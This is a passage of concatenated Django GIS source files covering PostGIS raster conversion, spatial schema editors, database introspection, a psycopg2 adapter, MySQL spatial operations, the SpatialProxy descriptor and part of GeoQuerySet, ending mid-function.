    # Parse band data
    bands = []
    pixeltypes = []
    while data:
        # Get pixel type for this band
        pixeltype, data = chunk(data, 2)
        pixeltype = unpack('B', pixeltype)[0]

        # Subtract nodata byte from band nodata value if it exists
        has_nodata = pixeltype >= 64
        if has_nodata:
            pixeltype -= 64

        # Convert datatype from PostGIS to GDAL & get pack type and size
        pixeltype = POSTGIS_TO_GDAL[pixeltype]
        pack_type = GDAL_TO_STRUCT[pixeltype]
        pack_size = 2 * STRUCT_SIZE[pack_type]

        # Parse band nodata value. The nodata value is part of the
        # PGRaster string even if the nodata flag is True, so it always
        # has to be chunked off the data string.
        nodata, data = chunk(data, pack_size)
        nodata = unpack(pack_type, nodata)[0]

        # Chunk and unpack band data (pack size times nr of pixels)
        band, data = chunk(data, pack_size * header[10] * header[11])
        band_result = {'data': binascii.unhexlify(band)}

        # If the nodata flag is True, set the nodata value.
        if has_nodata:
            band_result['nodata_value'] = nodata

        # Append band data to band list
        bands.append(band_result)

        # Store pixeltype of this band in pixeltypes array
        pixeltypes.append(pixeltype)

    # Check that all bands have the same pixeltype.
    # This is required by GDAL. PostGIS rasters could have different pixeltypes
    # for bands of the same raster.
    if len(set(pixeltypes)) != 1:
        raise ValidationError("Band pixeltypes are not all equal.")

    return {
        'srid': int(header[9]),
        'width': header[10], 'height': header[11],
        'datatype': pixeltypes[0],
        'origin': (header[5], header[6]),
        'scale': (header[3], header[4]),
        'skew': (header[7], header[8]),
        'bands': bands,
    }


def to_pgraster(rast):
    """
    Convert a GDALRaster into PostGIS Raster format.
    """
    # Return if the raster is null
    if rast is None or rast == '':
        return

    # Prepare the raster header data as a tuple. The first two numbers are
    # the endianness and the PostGIS Raster Version, both are fixed by
    # PostGIS at the moment.
    rasterheader = (
        1, 0, len(rast.bands), rast.scale.x, rast.scale.y,
        rast.origin.x, rast.origin.y, rast.skew.x, rast.skew.y,
        rast.srs.srid, rast.width, rast.height,
    )

    # Hexlify raster header
    result = pack(POSTGIS_HEADER_STRUCTURE, rasterheader)

    for band in rast.bands:
        # The PostGIS raster band header has exactly two elements, a 8BUI byte
        # and the nodata value.
        #
        # The 8BUI stores both the PostGIS pixel data type and a nodata flag.
        # It is composed as the datatype integer plus 64 as a flag for existing
        # nodata values:
        # 8BUI_VALUE = PG_PIXEL_TYPE (0-11) + FLAG (0 or 64)
        #
        # For example, if the byte value is 71, then the datatype is
        # 71-64 = 7 (32BSI) and the nodata value is True.
        structure = 'B' + GDAL_TO_STRUCT[band.datatype()]

        # Get band pixel type in PostGIS notation
        pixeltype = GDAL_TO_POSTGIS[band.datatype()]

        # Set the nodata flag
        if band.nodata_value is not None:
            pixeltype += 64

        # Pack band header
        bandheader = pack(structure, (pixeltype, band.nodata_value or 0))

        # Hexlify band data
        band_data_hex = binascii.hexlify(band.data(as_memoryview=True)).upper()

        # Add packed header and band data to result
        result += bandheader + band_data_hex

    # Cast raster to string before passing it to the DB
    return result.decode()






from django.db.backends.base.base import NO_DB_ALIAS
from django.db.backends.postgresql.base import \
    DatabaseWrapper as Psycopg2DatabaseWrapper

from .features import DatabaseFeatures
from .introspection import PostGISIntrospection
from .operations import PostGISOperations
from .schema import PostGISSchemaEditor


class DatabaseWrapper(Psycopg2DatabaseWrapper):
    SchemaEditorClass = PostGISSchemaEditor

    def __init__(self, *args, **kwargs):
        super(DatabaseWrapper, self).__init__(*args, **kwargs)
        if kwargs.get('alias', '') != NO_DB_ALIAS:
            self.features = DatabaseFeatures(self)
            self.ops = PostGISOperations(self)
            self.introspection = PostGISIntrospection(self)

    def prepare_database(self):
        super(DatabaseWrapper, self).prepare_database()
        # Check that postgis extension is installed.
        with self.cursor() as cursor:
            cursor.execute("CREATE EXTENSION IF NOT EXISTS postgis")






from django.db.backends.postgresql.schema import DatabaseSchemaEditor


class PostGISSchemaEditor(DatabaseSchemaEditor):
    geom_index_type = 'GIST'
    geom_index_ops_nd = 'GIST_GEOMETRY_OPS_ND'
    rast_index_wrapper = 'ST_ConvexHull(%s)'

    sql_add_spatial_index = "CREATE INDEX %(index)s ON %(table)s USING %(index_type)s (%(column)s %(ops)s)"
    sql_clear_geometry_columns = "DELETE FROM geometry_columns WHERE f_table_name = %(table)s"

    def __init__(self, *args, **kwargs):
        super(PostGISSchemaEditor, self).__init__(*args, **kwargs)
        self.geometry_sql = []

    def geo_quote_name(self, name):
        return self.connection.ops.geo_quote_name(name)

    def column_sql(self, model, field, include_default=False):
        from django.contrib.gis.db.models.fields import BaseSpatialField
        if not isinstance(field, BaseSpatialField):
            return super(PostGISSchemaEditor, self).column_sql(model, field, include_default)

        column_sql = super(PostGISSchemaEditor, self).column_sql(model, field, include_default)

        if field.spatial_index:
            # Spatial indexes created the same way for both Geometry and
            # Geography columns.
            field_column = self.quote_name(field.column)
            if field.geom_type == 'RASTER':
                # For raster fields, wrap index creation SQL statement with ST_ConvexHull.
                # Indexes on raster columns are based on the convex hull of the raster.
                field_column = self.rast_index_wrapper % field_column
                index_ops = ''
            elif field.geography:
                index_ops = ''
            else:
                # Use either "nd" ops  which are fast on multidimensional cases
                # or just plain gist index for the 2d case.
                if field.dim > 2:
                    index_ops = self.geom_index_ops_nd
                else:
                    index_ops = ''
            self.geometry_sql.append(
                self.sql_add_spatial_index % {
                    "index": self.quote_name('%s_%s_id' % (model._meta.db_table, field.column)),
                    "table": self.quote_name(model._meta.db_table),
                    "column": field_column,
                    "index_type": self.geom_index_type,
                    "ops": index_ops,
                }
            )
        return column_sql

    def create_model(self, model):
        super(PostGISSchemaEditor, self).create_model(model)
        # Create geometry columns
        for sql in self.geometry_sql:
            self.execute(sql)
        self.geometry_sql = []

    def delete_model(self, model):
        super(PostGISSchemaEditor, self).delete_model(model)
        self.execute(self.sql_clear_geometry_columns % {
            "table": self.geo_quote_name(model._meta.db_table),
        })

    def add_field(self, model, field):
        super(PostGISSchemaEditor, self).add_field(model, field)
        # Create geometry columns
        for sql in self.geometry_sql:
            self.execute(sql)
        self.geometry_sql = []






from django.contrib.gis.gdal import OGRGeomType
from django.db.backends.postgresql.introspection import DatabaseIntrospection


class GeoIntrospectionError(Exception):
    pass


class PostGISIntrospection(DatabaseIntrospection):
    # Reverse dictionary for PostGIS geometry types not populated until
    # introspection is actually performed.
    postgis_types_reverse = {}

    ignored_tables = DatabaseIntrospection.ignored_tables + [
        'geography_columns',
        'geometry_columns',
        'raster_columns',
        'spatial_ref_sys',
        'raster_overviews',
    ]

    # Overridden from parent to include raster indices in retrieval.
    # Raster indices have pg_index.indkey value 0 because they are an
    # expression over the raster column through the ST_ConvexHull function.
    # So the default query has to be adapted to include raster indices.
    _get_indexes_query = """
        SELECT DISTINCT attr.attname, idx.indkey, idx.indisunique, idx.indisprimary,
            am.amname
        FROM pg_catalog.pg_class c, pg_catalog.pg_class c2, pg_catalog.pg_index idx,
            pg_catalog.pg_attribute attr, pg_catalog.pg_type t, pg_catalog.pg_am am
        WHERE
            c.oid = idx.indrelid
            AND idx.indexrelid = c2.oid
            AND attr.attrelid = c.oid
            AND t.oid = attr.atttypid
            AND c2.relam = am.oid
            AND (
                attr.attnum = idx.indkey[0] OR
                (t.typname LIKE 'raster' AND idx.indkey = '0')
            )
            AND attr.attnum > 0
            AND c.relname = %s"""

    def get_postgis_types(self):
        """
        Returns a dictionary with keys that are the PostgreSQL object
        identification integers for the PostGIS geometry and/or
        geography types (if supported).
        """
        field_types = [
            ('geometry', 'GeometryField'),
            # The value for the geography type is actually a tuple
            # to pass in the `geography=True` keyword to the field
            # definition.
            ('geography', ('GeometryField', {'geography': True})),
        ]
        postgis_types = {}

        # The OID integers associated with the geometry type may
        # be different across versions; hence, this is why we have
        # to query the PostgreSQL pg_type table corresponding to the
        # PostGIS custom data types.
        oid_sql = 'SELECT "oid" FROM "pg_type" WHERE "typname" = %s'
        cursor = self.connection.cursor()
        try:
            for field_type in field_types:
                cursor.execute(oid_sql, (field_type[0],))
                for result in cursor.fetchall():
                    postgis_types[result[0]] = field_type[1]
        finally:
            cursor.close()

        return postgis_types

    def get_field_type(self, data_type, description):
        if not self.postgis_types_reverse:
            # If the PostGIS types reverse dictionary is not populated, do so
            # now.  In order to prevent unnecessary requests upon connection
            # initialization, the `data_types_reverse` dictionary is not updated
            # with the PostGIS custom types until introspection is actually
            # performed -- in other words, when this function is called.
            self.postgis_types_reverse = self.get_postgis_types()
            self.data_types_reverse.update(self.postgis_types_reverse)
        return super(PostGISIntrospection, self).get_field_type(data_type, description)

    def get_geometry_type(self, table_name, geo_col):
        """
        The geometry type OID used by PostGIS does not indicate the particular
        type of field that a geometry column is (e.g., whether it's a
        PointField or a PolygonField).  Thus, this routine queries the PostGIS
        metadata tables to determine the geometry type,
        """
        cursor = self.connection.cursor()
        try:
            try:
                # First seeing if this geometry column is in the `geometry_columns`
                cursor.execute('SELECT "coord_dimension", "srid", "type" '
                               'FROM "geometry_columns" '
                               'WHERE "f_table_name"=%s AND "f_geometry_column"=%s',
                               (table_name, geo_col))
                row = cursor.fetchone()
                if not row:
                    raise GeoIntrospectionError
            except GeoIntrospectionError:
                cursor.execute('SELECT "coord_dimension", "srid", "type" '
                               'FROM "geography_columns" '
                               'WHERE "f_table_name"=%s AND "f_geography_column"=%s',
                               (table_name, geo_col))
                row = cursor.fetchone()

            if not row:
                raise Exception('Could not find a geometry or geography column for "%s"."%s"' %
                                (table_name, geo_col))

            # OGRGeomType does not require GDAL and makes it easy to convert
            # from OGC geom type name to Django field.
            field_type = OGRGeomType(row[2]).django

            # Getting any GeometryField keyword arguments that are not the default.
            dim = row[0]
            srid = row[1]
            field_params = {}
            if srid != 4326:
                field_params['srid'] = srid
            if dim != 2:
                field_params['dim'] = dim
        finally:
            cursor.close()

        return field_type, field_params






"""
 This object provides quoting for GEOS geometries into PostgreSQL/PostGIS.
"""
from __future__ import unicode_literals

from psycopg2 import Binary
from psycopg2.extensions import ISQLQuote

from django.contrib.gis.db.backends.postgis.pgraster import to_pgraster
from django.contrib.gis.geometry.backend import Geometry


class PostGISAdapter(object):
    def __init__(self, obj, geography=False):
        """
        Initialize on the spatial object.
        """
        self.is_geometry = isinstance(obj, (Geometry, PostGISAdapter))

        # Getting the WKB (in string form, to allow easy pickling of
        # the adaptor) and the SRID from the geometry or raster.
        if self.is_geometry:
            self.ewkb = bytes(obj.ewkb)
            self._adapter = Binary(self.ewkb)
        else:
            self.ewkb = to_pgraster(obj)

        self.srid = obj.srid
        self.geography = geography

    def __conform__(self, proto):
        # Does the given protocol conform to what Psycopg2 expects?
        if proto == ISQLQuote:
            return self
        else:
            raise Exception('Error implementing psycopg2 protocol. Is psycopg2 installed?')

    def __eq__(self, other):
        if not isinstance(other, PostGISAdapter):
            return False
        return (self.ewkb == other.ewkb) and (self.srid == other.srid)

    def __hash__(self):
        return hash((self.ewkb, self.srid))

    def __str__(self):
        return self.getquoted()

    def prepare(self, conn):
        """
        This method allows escaping the binary in the style required by the
        server's `standard_conforming_string` setting.
        """
        if self.is_geometry:
            self._adapter.prepare(conn)

    def getquoted(self):
        """
        Return a properly quoted string for use in PostgreSQL/PostGIS.
        """
        if self.is_geometry:
            # Psycopg will figure out whether to use E'\\000' or '\000'.
            return str('%s(%s)' % (
                'ST_GeogFromWKB' if self.geography else 'ST_GeomFromEWKB',
                self._adapter.getquoted().decode())
            )
        else:
            # For rasters, add explicit type cast to WKB string.
            return "'%s'::raster" % self.ewkb












from django.contrib.gis.db.backends.base.features import BaseSpatialFeatures
from django.db.backends.mysql.features import \
    DatabaseFeatures as MySQLDatabaseFeatures


class DatabaseFeatures(BaseSpatialFeatures, MySQLDatabaseFeatures):
    has_spatialrefsys_table = False
    supports_add_srs_entry = False
    supports_distance_geodetic = False
    supports_length_geodetic = False
    supports_distances_lookups = False
    supports_transform = False
    supports_real_shape_operations = False
    supports_null_geometries = False
    supports_num_points_poly = False






from django.contrib.gis.db.backends.base.adapter import WKTAdapter
from django.contrib.gis.db.backends.base.operations import \
    BaseSpatialOperations
from django.contrib.gis.db.backends.utils import SpatialOperator
from django.contrib.gis.db.models import GeometryField, aggregates
from django.db.backends.mysql.operations import DatabaseOperations
from django.utils.functional import cached_property


class MySQLOperations(BaseSpatialOperations, DatabaseOperations):

    mysql = True
    name = 'mysql'

    Adapter = WKTAdapter

    @cached_property
    def is_mysql_5_5(self):
        return self.connection.mysql_version < (5, 6, 1)

    @cached_property
    def is_mysql_5_6(self):
        return self.connection.mysql_version < (5, 7, 6)

    @cached_property
    def uses_invalid_empty_geometry_collection(self):
        return self.connection.mysql_version >= (5, 7, 5)

    @cached_property
    def select(self):
        if self.is_mysql_5_5:
            return 'AsText(%s)'
        return 'ST_AsText(%s)'

    @cached_property
    def from_wkb(self):
        if self.is_mysql_5_5:
            return 'GeomFromWKB'
        return 'ST_GeomFromWKB'

    @cached_property
    def from_text(self):
        if self.is_mysql_5_5:
            return 'GeomFromText'
        return 'ST_GeomFromText'

    @cached_property
    def gis_operators(self):
        MBREquals = 'MBREqual' if self.is_mysql_5_6 else 'MBREquals'
        return {
            'bbcontains': SpatialOperator(func='MBRContains'),  # For consistency w/PostGIS API
            'bboverlaps': SpatialOperator(func='MBROverlaps'),  # ...
            'contained': SpatialOperator(func='MBRWithin'),  # ...
            'contains': SpatialOperator(func='MBRContains'),
            'disjoint': SpatialOperator(func='MBRDisjoint'),
            'equals': SpatialOperator(func=MBREquals),
            'exact': SpatialOperator(func=MBREquals),
            'intersects': SpatialOperator(func='MBRIntersects'),
            'overlaps': SpatialOperator(func='MBROverlaps'),
            'same_as': SpatialOperator(func=MBREquals),
            'touches': SpatialOperator(func='MBRTouches'),
            'within': SpatialOperator(func='MBRWithin'),
        }

    @cached_property
    def function_names(self):
        return {
            'Area': 'Area' if self.is_mysql_5_5 else 'ST_Area',
            'Centroid': 'Centroid' if self.is_mysql_5_5 else 'ST_Centroid',
            'Difference': 'ST_Difference',
            'Distance': 'ST_Distance',
            'Envelope': 'Envelope' if self.is_mysql_5_5 else 'ST_Envelope',
            'Intersection': 'ST_Intersection',
            'Length': 'GLength' if self.is_mysql_5_5 else 'ST_Length',
            'NumGeometries': 'NumGeometries' if self.is_mysql_5_5 else 'ST_NumGeometries',
            'NumPoints': 'NumPoints' if self.is_mysql_5_5 else 'ST_NumPoints',
            'SymDifference': 'ST_SymDifference',
            'Union': 'ST_Union',
        }

    disallowed_aggregates = (
        aggregates.Collect, aggregates.Extent, aggregates.Extent3D,
        aggregates.MakeLine, aggregates.Union,
    )

    @cached_property
    def unsupported_functions(self):
        unsupported = {
            'AsGeoJSON', 'AsGML', 'AsKML', 'AsSVG', 'BoundingCircle',
            'ForceRHR', 'GeoHash', 'IsValid', 'MakeValid', 'MemSize',
            'Perimeter', 'PointOnSurface', 'Reverse', 'Scale', 'SnapToGrid',
            'Transform', 'Translate',
        }
        if self.is_mysql_5_5:
            unsupported.update({'Difference', 'Distance', 'Intersection', 'SymDifference', 'Union'})
        return unsupported

    def geo_db_type(self, f):
        return f.geom_type

    def get_geom_placeholder(self, f, value, compiler):
        """
        The placeholder here has to include MySQL's WKT constructor.  Because
        MySQL does not support spatial transformations, there is no need to
        modify the placeholder based on the contents of the given value.
        """
        if hasattr(value, 'as_sql'):
            placeholder, _ = compiler.compile(value)
        else:
            placeholder = '%s(%%s)' % self.from_text
        return placeholder

    def get_db_converters(self, expression):
        converters = super(MySQLOperations, self).get_db_converters(expression)
        if isinstance(expression.output_field, GeometryField) and self.uses_invalid_empty_geometry_collection:
            converters.append(self.convert_invalid_empty_geometry_collection)
        return converters

    # https://dev.mysql.com/doc/refman/5.7/en/spatial-function-argument-handling.html
    # MySQL 5.7.5 adds support for the empty geometry collections, but they are represented with invalid WKT.
    def convert_invalid_empty_geometry_collection(self, value, expression, connection, context):
        if value == b'GEOMETRYCOLLECTION()':
            return b'GEOMETRYCOLLECTION EMPTY'
        return value






from django.db.backends.mysql.base import \
    DatabaseWrapper as MySQLDatabaseWrapper

from .features import DatabaseFeatures
from .introspection import MySQLIntrospection
from .operations import MySQLOperations
from .schema import MySQLGISSchemaEditor


class DatabaseWrapper(MySQLDatabaseWrapper):
    SchemaEditorClass = MySQLGISSchemaEditor

    def __init__(self, *args, **kwargs):
        super(DatabaseWrapper, self).__init__(*args, **kwargs)
        self.features = DatabaseFeatures(self)
        self.ops = MySQLOperations(self)
        self.introspection = MySQLIntrospection(self)






import logging

from django.contrib.gis.db.models.fields import GeometryField
from django.db.backends.mysql.schema import DatabaseSchemaEditor
from django.db.utils import OperationalError

logger = logging.getLogger('django.contrib.gis')


class MySQLGISSchemaEditor(DatabaseSchemaEditor):
    sql_add_spatial_index = 'CREATE SPATIAL INDEX %(index)s ON %(table)s(%(column)s)'
    sql_drop_spatial_index = 'DROP INDEX %(index)s ON %(table)s'

    def __init__(self, *args, **kwargs):
        super(MySQLGISSchemaEditor, self).__init__(*args, **kwargs)
        self.geometry_sql = []

    def skip_default(self, field):
        return (
            super(MySQLGISSchemaEditor, self).skip_default(field) or
            # Geometry fields are stored as BLOB/TEXT and can't have defaults.
            isinstance(field, GeometryField)
        )

    def column_sql(self, model, field, include_default=False):
        column_sql = super(MySQLGISSchemaEditor, self).column_sql(model, field, include_default)
        # MySQL doesn't support spatial indexes on NULL columns
        if isinstance(field, GeometryField) and field.spatial_index and not field.null:
            qn = self.connection.ops.quote_name
            db_table = model._meta.db_table
            self.geometry_sql.append(
                self.sql_add_spatial_index % {
                    'index': qn(self._create_spatial_index_name(model, field)),
                    'table': qn(db_table),
                    'column': qn(field.column),
                }
            )
        return column_sql

    def create_model(self, model):
        super(MySQLGISSchemaEditor, self).create_model(model)
        self.create_spatial_indexes()

    def add_field(self, model, field):
        super(MySQLGISSchemaEditor, self).add_field(model, field)
        self.create_spatial_indexes()

    def remove_field(self, model, field):
        if isinstance(field, GeometryField) and field.spatial_index:
            qn = self.connection.ops.quote_name
            sql = self.sql_drop_spatial_index % {
                'index': qn(self._create_spatial_index_name(model, field)),
                'table': qn(model._meta.db_table),
            }
            try:
                self.execute(sql)
            except OperationalError:
                logger.error(
                    "Couldn't remove spatial index: %s (may be expected "
                    "if your storage engine doesn't support them).", sql
                )

        super(MySQLGISSchemaEditor, self).remove_field(model, field)

    def _create_spatial_index_name(self, model, field):
        return '%s_%s_id' % (model._meta.db_table, field.column)

    def create_spatial_indexes(self):
        for sql in self.geometry_sql:
            try:
                self.execute(sql)
            except OperationalError:
                logger.error(
                    "Cannot create SPATIAL INDEX %s. Only MyISAM and (as of "
                    "MySQL 5.7.5) InnoDB support them.", sql
                )
        self.geometry_sql = []






from MySQLdb.constants import FIELD_TYPE

from django.contrib.gis.gdal import OGRGeomType
from django.db.backends.mysql.introspection import DatabaseIntrospection


class MySQLIntrospection(DatabaseIntrospection):
    # Updating the data_types_reverse dictionary with the appropriate
    # type for Geometry fields.
    data_types_reverse = DatabaseIntrospection.data_types_reverse.copy()
    data_types_reverse[FIELD_TYPE.GEOMETRY] = 'GeometryField'

    def get_geometry_type(self, table_name, geo_col):
        cursor = self.connection.cursor()
        try:
            # In order to get the specific geometry type of the field,
            # we introspect on the table definition using `DESCRIBE`.
            cursor.execute('DESCRIBE %s' %
                           self.connection.ops.quote_name(table_name))
            # Increment over description info until we get to the geometry
            # column.
            for column, typ, null, key, default, extra in cursor.fetchall():
                if column == geo_col:
                    # Using OGRGeomType to convert from OGC name to Django field.
                    # MySQL does not support 3D or SRIDs, so the field params
                    # are empty.
                    field_type = OGRGeomType(typ).django
                    field_params = {}
                    break
        finally:
            cursor.close()

        return field_type, field_params

    def supports_spatial_index(self, cursor, table_name):
        # Supported with MyISAM, or InnoDB on MySQL 5.7.5+
        storage_engine = self.get_storage_engine(cursor, table_name)
        return (
            (storage_engine == 'InnoDB' and self.connection.mysql_version >= (5, 7, 5)) or
            storage_engine == 'MyISAM'
        )












"""
The SpatialProxy object allows for lazy-geometries and lazy-rasters. The proxy
uses Python descriptors for instantiating and setting Geometry or Raster
objects corresponding to geographic model fields.

Thanks to Robert Coup for providing this functionality (see #4322).
"""
from django.db.models.query_utils import DeferredAttribute
from django.utils import six


class SpatialProxy(DeferredAttribute):
    def __init__(self, klass, field):
        """
        Proxy initializes on the given Geometry or Raster class (not an instance)
        and the corresponding field.
        """
        self._field = field
        self._klass = klass
        super(SpatialProxy, self).__init__(field.attname, klass)

    def __get__(self, instance, cls=None):
        """
        This accessor retrieves the geometry or raster, initializing it using
        the corresponding class specified during initialization and the value
        of the field. Currently, GEOS or OGR geometries as well as GDALRasters
        are supported.
        """
        if instance is None:
            # Accessed on a class, not an instance
            return self

        # Getting the value of the field.
        try:
            geo_value = instance.__dict__[self._field.attname]
        except KeyError:
            geo_value = super(SpatialProxy, self).__get__(instance, cls)

        if isinstance(geo_value, self._klass):
            geo_obj = geo_value
        elif (geo_value is None) or (geo_value == ''):
            geo_obj = None
        else:
            # Otherwise, a geometry or raster object is built using the field's
            # contents, and the model's corresponding attribute is set.
            geo_obj = self._klass(geo_value)
            setattr(instance, self._field.attname, geo_obj)
        return geo_obj

    def __set__(self, instance, value):
        """
        This accessor sets the proxied geometry or raster with the
        corresponding class specified during initialization.

        To set geometries, values of None, HEXEWKB, or WKT may be used.
        To set rasters, JSON or dict values may be used.
        """
        # The geographic type of the field.
        gtype = self._field.geom_type

        if gtype == 'RASTER' and (value is None or isinstance(value, six.string_types + (dict, self._klass))):
            # For raster fields, assure input is None or a string, dict, or
            # raster instance.
            pass
        elif isinstance(value, self._klass) and (str(value.geom_type).upper() == gtype or gtype == 'GEOMETRY'):
            # The geometry type must match that of the field -- unless the
            # general GeometryField is used.
            if value.srid is None:
                # Assigning the field SRID if the geometry has no SRID.
                value.srid = self._field.srid
        elif value is None or isinstance(value, six.string_types + (six.memoryview,)):
            # Set geometries with None, WKT, HEX, or WKB
            pass
        else:
            raise TypeError('Cannot set %s SpatialProxy (%s) with value of type: %s' % (
                instance.__class__.__name__, gtype, type(value)))

        # Setting the objects dictionary with the value, and returning.
        instance.__dict__[self._field.attname] = value
        return value






import warnings

from django.contrib.gis.db.models.fields import (
    GeometryField, LineStringField, PointField, get_srid_info,
)
from django.contrib.gis.db.models.lookups import GISLookup
from django.contrib.gis.db.models.sql import (
    AreaField, DistanceField, GeomField, GMLField,
)
from django.contrib.gis.geometry.backend import Geometry
from django.contrib.gis.measure import Area, Distance
from django.db import connections
from django.db.models.constants import LOOKUP_SEP
from django.db.models.expressions import RawSQL
from django.db.models.fields import Field
from django.db.models.query import QuerySet
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning


class GeoQuerySet(QuerySet):
    "The Geographic QuerySet."

    # ### GeoQuerySet Methods ###
    def area(self, tolerance=0.05, **kwargs):
        """
        Returns the area of the geographic field in an `area` attribute on
        each element of this GeoQuerySet.
        """
        # Performing setup here rather than in `_spatial_attribute` so that
        # we can get the units for `AreaField`.
        procedure_args, geo_field = self._spatial_setup(
            'area', field_name=kwargs.get('field_name'))
        s = {'procedure_args': procedure_args,
             'geo_field': geo_field,
             'setup': False,
             }
        connection = connections[self.db]
        backend = connection.ops
        if backend.oracle:
            s['procedure_fmt'] = '%(geo_col)s,%(tolerance)s'
            s['procedure_args']['tolerance'] = tolerance
            s['select_field'] = AreaField('sq_m')  # Oracle returns area in units of meters.
        elif backend.postgis or backend.spatialite:
            if backend.geography:
                # Geography fields support area calculation, returns square meters.
                s['select_field'] = AreaField('sq_m')
            elif not geo_field.geodetic(connection):
                # Getting the area units of the geographic field.
                s['select_field'] = AreaField(Area.unit_attname(geo_field.units_name(connection)))
            else:
                # TODO: Do we want to support raw number areas for geodetic fields?
                raise Exception('Area on geodetic coordinate systems not supported.')
        return self._spatial_attribute('area', s, **kwargs)

    def centroid(self, **kwargs):
        """
        Returns the centroid of the geographic field in a `centroid`
        attribute on each element of this GeoQuerySet.
        """
        return self._geom_attribute('centroid', **kwargs)

    def difference(self, geom, **kwargs):
        """
        Returns the spatial difference of the geographic field in a `difference`
        attribute on each element of this GeoQuerySet.
        """
        return self._geomset_attribute('difference', geom, **kwargs)

    def distance(self, geom, **kwargs):
        """
        Returns the distance from the given geographic field name to the
        given geometry in a `distance` attribute on each element of the
        GeoQuerySet.

        Keyword Arguments:
         `spheroid`  => If the geometry field is geodetic and PostGIS is
                        the spatial database, then the more accurate
                        spheroid calculation will be used instead of the
                        quicker sphere calculation.

         `tolerance` => Used only for Oracle. The tolerance is
                        in meters -- a default of 5 centimeters (0.05)
                        is used.
        """
        return self._distance_attribute('distance', geom, **kwargs)

    def envelope(self, **kwargs):
        """
        Returns a Geometry representing the bounding box of the
        Geometry field in an `envelope` attribute on each element of
        the GeoQuerySet.
        """
        return self._geom_attribute('envelope', **kwargs)

    def force_rhr(self, **kwargs):
        """
        Returns a modified version of the Polygon/MultiPolygon in which
        all of the vertices follow the Right-Hand-Rule.  By default,
        this is attached as the `force_rhr` attribute on each element
        of the GeoQuerySet.
        """
        return self._geom_attribute('force_rhr', **kwargs)

    def geojson(self, precision=8, crs=False, bbox=False, **kwargs):
        """
        Returns a GeoJSON representation of the geometry field in a `geojson`
        attribute on each element of the GeoQuerySet.

        The `crs` and `bbox` keywords may be set to True if the user wants
        the coordinate reference system and the bounding box to be included
        in the GeoJSON representation of the geometry.
        """
        backend = connections[self.db].ops
        if not backend.geojson:
            raise NotImplementedError('Only PostGIS and SpatiaLite support GeoJSON serialization.')

        if not isinstance(precision, six.integer_types):
            raise TypeError('Precision keyword must be set with an integer.')

        options = 0
        if crs and bbox:
            options = 3
        elif bbox:
            options = 1
        elif crs:
            options = 2
        s = {'desc': 'GeoJSON',
             'procedure_args': {'precision': precision, 'options': options},
             'procedure_fmt': '%(geo_col)s,%(precision)s,%(options)s',
             }
        return self._spatial_attribute('geojson', s, **kwargs)

    def geohash(self, precision=20, **kwargs):
        """
        Returns a GeoHash representation of the given field in a `geohash`
        attribute on each element of the GeoQuerySet.

        The `precision` keyword may be used to custom the number of
        _characters_ used in the output GeoHash, the default is 20.
        """
        s = {'desc': 'GeoHash',
             'procedure_args': {'precision': precision},
             'procedure_fmt': '%(geo_col)s,%(precision)s',
             }
        return self._spatial_attribute('geohash', s, **kwargs)

    def gml(self, precision=8, version=2, **kwargs):
        """
        Returns GML representation of the given field in a `gml` attribute
        on each element of the GeoQuerySet.
        """
        backend = connections[self.db].ops
        s = {'desc': 'GML', 'procedure_args': {'precision': precision}}
        if backend.postgis:
            s['procedure_fmt'] = '%(version)s,%(geo_col)s,%(precision)s'
            s['procedure_args'] = {'precision': precision, 'version': version}
        if backend.oracle:
            s['select_field'] = GMLField()

        return self._spatial_attribute('gml', s, **kwargs)

    def intersection(self, geom, **kwargs):
        """
        Returns the spatial intersection of the Geometry field in
        an `intersection` attribute on each element of this
        GeoQuerySet.
        """
        return self._geomset_attribute('intersection', geom, **kwargs)

    def kml(self, **kwargs):
        """
        Returns KML representation of the geometry field in a `kml`
        attribute on each element of this GeoQuerySet.
        """
        s = {'desc': 'KML',
             'procedure_fmt': '%(geo_col)s,%(precision)s',
             'procedure_args': {'precision': kwargs.pop('precision', 8)},
             }
        return self._spatial_attribute('kml', s, **kwargs)

    def length(self, **kwargs):
        """
        Returns the length of the geometry field as a `Distance` object
        stored in a `length` attribute on each element of this GeoQuerySet.
        """
        return self._distance_attribute('length', None, **kwargs)

    def mem_size(self, **kwargs):
        """
        Returns the memory size (number of bytes) that the geometry field takes
        in a `mem_size` attribute  on each element of this GeoQuerySet.
        """
        return self._spatial_attribute('mem_size', {}, **kwargs)

    def num_geom(self, **kwargs):
        """
        Returns the number of geometries if the field is a
        GeometryCollection or Multi* Field in a `num_geom`
        attribute on each element of this GeoQuerySet; otherwise
        the sets with None.
        """
        return self._spatial_attribute('num_geom', {}, **kwargs)

    def num_points(self, **kwargs):
        """
        Returns the number of points in the first linestring in the
        Geometry field in a `num_points` attribute on each element of
        this GeoQuerySet; otherwise sets with None.
        """
        return self._spatial_attribute('num_points', {}, **kwargs)

    def perimeter(self, **kwargs):
        """
        Returns the perimeter of the geometry field as a `Distance` object
        stored in a `perimeter` attribute on each element of this GeoQuerySet.
        """
        return self._distance_attribute('perimeter', None, **kwargs)

    def point_on_surface(self, **kwargs):
        """
        Returns a Point geometry guaranteed to lie on the surface of the
        Geometry field in a `point_on_surface` attribute on each element
        of this GeoQuerySet; otherwise sets with None.
        """
        return self._geom_attribute('point_on_surface', **kwargs)

    def reverse_geom(self, **kwargs):
        """
        Reverses the coordinate order of the geometry, and attaches as a
        `reverse` attribute on each element of this GeoQuerySet.
        """
        s = {'select_field': GeomField()}
        kwargs.setdefault('model_att', 'reverse_geom')
        if connections[self.db].ops.oracle:
            s['geo_field_type'] = LineStringField
        return self._spatial_attribute('reverse', s, **kwargs)

    def scale(self, x, y, z=0.0, **kwargs):
        """
        Scales the geometry to a new size by multiplying the ordinates
        with the given x,y,z scale factors.
        """
        if connections[self.db].ops.spatialite:
            if z != 0.0:
                raise NotImplementedError('SpatiaLite does not support 3D scaling.')
            s = {'procedure_fmt': '%(geo_col)s,%(x)s,%(y)s',
                 'procedure_args': {'x': x, 'y': y},
                 'select_field': GeomField(),
                 }
        else:
            s = {'procedure_fmt': '%(geo_col)s,%(x)s,%(y)s,%(z)s',
                 'procedure_args': {'x': x, 'y': y, 'z': z},
                 'select_field': GeomField(),
                 }
        return self._spatial_attribute('scale', s, **kwargs)

    def snap_to_grid(self, *args, **kwargs):
        """
        Snap all points of the input geometry to the grid.  How the
        geometry is snapped to the grid depends on how many arguments
        were given:
          - 1 argument : A single size to snap both the X and Y grids to.
          - 2 arguments: X and Y sizes to snap the grid to.
          - 4 arguments: X, Y sizes and the X, Y origins.
        """
        if False in [isinstance(arg, (float,) + six.integer_types) for arg in args]:
